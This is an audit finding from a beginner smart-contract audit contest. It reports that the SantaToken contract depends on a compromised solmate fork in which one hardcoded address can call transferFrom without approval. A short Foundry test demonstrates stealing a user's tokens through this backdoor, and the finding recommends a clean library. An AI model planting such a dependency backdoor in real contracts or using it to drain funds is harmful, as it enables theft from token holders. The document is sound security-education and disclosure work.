First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

SantaToken smart contract is subject to rug pull

y0ng0p3

Summary

SantaToken is suggest to rug pull.

Vulnerability Details

The SantaToken smart contract inherits from bad-solmate, a compromised version of solmate.

The user with the address 0x815F577F1c1bcE213c012f166744937C889DAF17 can spend anyone's ERC20 SantaToken(s) using the transferFrom method, even if they have not been approved beforehand. In addition, this same user appears to be the author of the SantasList smart contract.

Proof of Concept

Place the code for the following test function in test/unit/SantasListTest.t.sol.

function test_StealSantaTokens() public {
vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
​
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
​
vm.startPrank(user);
santasList.collectPresent();
assertEq(santaToken.balanceOf(user), 1e18);
vm.stopPrank();
​
address rogpuller = address(0x815F577F1c1bcE213c012f166744937C889DAF17);
uint256 userBalance = SantaToken.balanceOf(user);
​
vm.prank(rogpuller);
santaToken.transferFrom(user, rogpuller, userBalance);
assertEq(santaToken.balanceOf(user), 0);
}

In the terminal, run the following command:

  • forge test --mt test_StealSantaTokens

Impact

Anyone's SantaTokens can be stolen at any time by the user with the address 0x815F577F1c1bcE213c012f166744937C889DAF17.

Tools Used

Manual review, Foundry

Recommendations

Instead of using a compromised version of solmate, use the current version by transmission 11.
Or completely move to Openzeppelin ERC-20 standard implementation.

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

unauthorized elf wallet approval in solmate-bad

Some sneaky elf has changed this library to a corrupted one where his wallet address skips all the approval checks for SantaToken! Shenanigans here - https://github.com/PatrickAlphaC/solmate-bad/blob/c3877e5571461c61293503f45fc00959fff4ebba/src/tokens/ERC20.sol#L88

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.